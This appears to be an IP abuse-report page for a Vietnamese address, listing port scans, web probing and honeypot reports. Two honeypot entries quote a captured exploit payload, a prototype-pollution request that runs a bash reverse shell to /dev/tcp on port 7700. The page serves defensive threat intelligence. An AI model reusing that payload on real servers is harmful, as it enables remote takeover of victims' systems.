JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

171.252.32.135

Neutral Activity

Abuse Confidence Score

0% Low Risk

185 reports

38 reporters · latest 11 months ago

ISP: Viettel Group
Usage Type: Fixed Line ISP
ASN: AS7552
Domain Name: viettel.com.vn
Country: 🇻🇳 Viet Nam
City: Ho Chi Minh City, Ho Chi Minh City (HCMC)

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

171.252.32.135 has been reported 185 times. The most recent report is from 11 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Export reports CSV

Total reports

185 from 38 distinct reporters

First reported

November 4th 2025

Most recent report

11 months ago

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 pm33	2025-12-12 23:48:58 UTC · (11 months ago)	Probing for resource vulnerabilities HTTP(S)	Web App Attack
🇩🇪 Szymekk	2025-12-12 17:18:35 UTC · (11 months ago)	Honeypot [srv06]: Large payload (1454 bytes); 1954 [2] TCP	Bad Web Bot
🇩🇪 Szymekk	2025-12-12 01:24:34 UTC · (11 months ago)	Honeypot [srv06]: Large payload (1454 bytes); 1954 [4] TCP	Bad Web Bot
🇲🇳 Public CSIRT/CC of Mongolia	2025-12-11 00:40:14 UTC · (11 months ago)	Honeypot hit: Empty payload (likely service probe); 8014 [2] TCP	Port Scan
🇫🇷 pm33	2025-12-10 10:55:31 UTC · (11 months ago)	Probing for resource vulnerabilities HTTP(S)	Web App Attack
🇩🇪 Szymekk	2025-12-10 10:47:34 UTC · (11 months ago)	Honeypot [srv06]: Large payload (1439 bytes); 1954 [2] TCP	Bad Web Bot
🇩🇪 Szymekk	2025-12-09 13:11:31 UTC · (11 months ago)	Honeypot [srv06]: HTTP/1.1 request on 1954 POST / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 POST Data: 200 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition ... show more Honeypot [srv06]: HTTP/1.1 request on 1954 POST / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 POST Data: 200 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('bash -c \'bash -i >& /dev/tcp/171.252.32.135/7700 0>&1\'');","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- 0; 1954 [4] TCP show less	Hacking Bad Web Bot
🇫🇷 pm33	2025-12-09 04:57:59 UTC · (11 months ago)	Probing for resource vulnerabilities HTTP(S)	Web App Attack
🇩🇪 Szymekk	2025-12-07 23:23:32 UTC · (11 months ago)	Honeypot [srv06]: HTTP/1.1 request on 1954 POST / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 POST Data: 200 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition ... show more Honeypot [srv06]: HTTP/1.1 request on 1954 POST / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 POST Data: 200 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('bash -c \'bash -i >& /dev/tcp/171.252.32.135/7700 0>&1\'');","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- 0; 1954 [4] TCP show less	Hacking Bad Web Bot
🇫🇷 pm33	2025-12-07 18:13:43 UTC · (11 months ago)	Probing for resource vulnerabilities HTTP(S)	Web App Attack
🇺🇸 RAP	2025-11-23 17:48:39 UTC · (11 months ago)	2025-11-23 17:48:39 UTC Unauthorized activity to TCP port 445. SMB	Port Scan
🇺🇸 MPL	2025-11-23 16:03:02 UTC · (11 months ago)	tcp/445 (6 or more attempts)	Port Scan
🇺🇸 MPL	2025-11-23 12:40:32 UTC · (11 months ago)	tcp/445 (4 or more attempts)	Port Scan
🇺🇸 MPL	2025-11-23 12:40:32 UTC · (11 months ago)	tcp/445 (2 or more attempts)	Port Scan
🇺🇸 RAP	2025-11-23 11:37:42 UTC · (11 months ago)	2025-11-23 11:37:42 UTC Unauthorized activity to TCP port 445. SMB	Port Scan

Showing 1 to 15 of 185 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇨🇳 220.165.85.39

🇨🇳 218.245.1.252

🇺🇸 216.25.89.105

🇮🇳 152.56.247.226

🇫🇮 147.185.133.74

🇫🇷 104.28.228.57

🇺🇸 66.132.186.238

🇨🇴 45.171.182.102

🇨🇳 42.177.2.157

🇺🇸 20.168.124.38

🇮🇳 117.99.102.229

🇳🇱 109.160.32.161

🇳🇱 34.1.231.78

🇩🇪 196.251.102.186

🇦🇷 179.238.47.110

🇺🇸 142.93.24.229

🇷🇺 109.95.220.45

🇺🇦 109.95.33.211

🇱🇻 95.68.62.36

🇳🇱 77.239.124.158